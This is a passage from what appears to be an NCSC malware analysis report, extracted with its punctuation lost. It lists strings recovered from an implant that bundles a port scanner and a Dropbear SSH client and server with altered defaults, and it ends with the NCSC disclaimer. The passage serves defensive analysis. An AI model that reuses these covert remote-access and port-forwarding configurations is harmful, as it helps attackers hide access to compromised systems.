TRACE leave sessionpty failed to allocate pty return DROPBEAR_FAILURE chansess- tty m_strdup namebuf if chansess- tty dropbear_exit Out of memory TODO disconnect pw getpwnam ses authstate pw_name if pw dropbear_exit getpwnam failed after succeeding previously pty_setowner pw chansess- tty Set up the rows col counts sessionwinchange chansess Read the terminal modes get_termmodes chansess TRACE leave sessionpty return DROPBEAR_SUCCESS Nmap command line options Usage nmap -ip ip-addr 192 168 0 1 ip-range 192 168 0 0 24 -p port 80 port-range 25-125 top -udp default tcp -noping default yes -o out_file -t timeout -n -h --help print this help Dropbear client dbclient ssh command line options Dropbear SSH client v2020 81 https matt ucc asn au dropbear dropbear html Usage dbclient options user@ host port user@ host port command -p remoteport -l username -t Allocate a pty -T Don't allocate a pty -N Don't run a remote command -f Run in background after auth -y Always accept remote host key if unknown -y -y Don't perform any remote host key checking caution -s Request a subsystem use by external sftp -o option Set option in OpenSSH-like format '-o help' to list options -i identityfile multiple allowed default ssh id_dropbear -A Enable agent auth forwarding -L listenaddress listenport remotehost remoteport Local port forwarding -g Allow remote hosts to connect to forwarded ports -R listenaddress listenport remotehost remoteport Remote port forwarding -W receive_window_buffer default 24576 larger may be faster max 1MB -K keepalive 0 is never default 30 -I idle_timeout 0 is never default 1800 -B endhost endport Netcat-alike forwarding -J proxy_program Use program pipe rather than TCP connection -c cipher list Specify preferred ciphers '-c help' to list options -m MAC list Specify preferred MACs for packet verification or '-m help' -b bind_address bind_port -V Version scp usage scp -1246BCpqrv -c cipher -F ssh_config -i identity_file -l limit -P port -S program user@ host1 file1 user@ host2 file2 Dropbearkey command line options Must specify a key filename Usage dropbearkey -t type -f filename -s bits -t type Type of key to generate One of rsa dss ecdsa ed25519 -f filename Use filename for the secret key ssh id_dropbear is recommended for client keys -s bits Key size in bits should be a multiple of 8 optional DSS has a fixed size of 1024 bits ECDSA has sizes 256 384 521 Ed25519 has a fixed size of 256 bits -y Just print the publickey and fingerprint for the private key in filename Dropbear server command line options Dropbear server v2020 81 https matt ucc asn au dropbear dropbear html Usage dropbear options -b bannerfile Display the contents of bannerfile before user login default none -r keyfile Specify hostkeys repeatable defaults - dss tmp sessions log d dropbear_dss_host_key - rsa tmp sessions log d dropbear_rsa_host_key - ecdsa tmp sessions log d dropbear_ecdsa_host_key - ed25519 tmp sessions log d dropbear_ed25519_host_key -R Create hostkeys as required -F Don't fork into background Syslog support not compiled in using stderr -w Disallow root logins -G Restrict logins to members of specified group -s Disable password logins -g Disable password logins for root -B Allow blank password logins -T Maximum authentication tries default 10 -j Disable local port forwarding -k Disable remote port forwarding -a Allow connections to forwarded ports from any host -c command Force executed command -p address port Listen on specified tcp port and optionally address up to 10 can be specified default port is 2222 if none specified -P PidFile Create pid file PidFile default var run sessionlog pid -i Start for inetd -W receive_window_buffer default 24576 larger may be faster max 1MB -K keepalive 0 is never default 30 in seconds -I idle_timeout 0 is never default 1800 in seconds -V Version Disclaimer This report draws on information derived from NCSC and industry sources Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk Ownership of information risks remains with the relevant system owner at all times This information is exempt under the Freedom of Information Act 2000 FOIA and may be exempt under other UK information legislation Refer any FOIA queries to ncscinfoleg@ncsc gov uk All material is UK Crown Copyright ©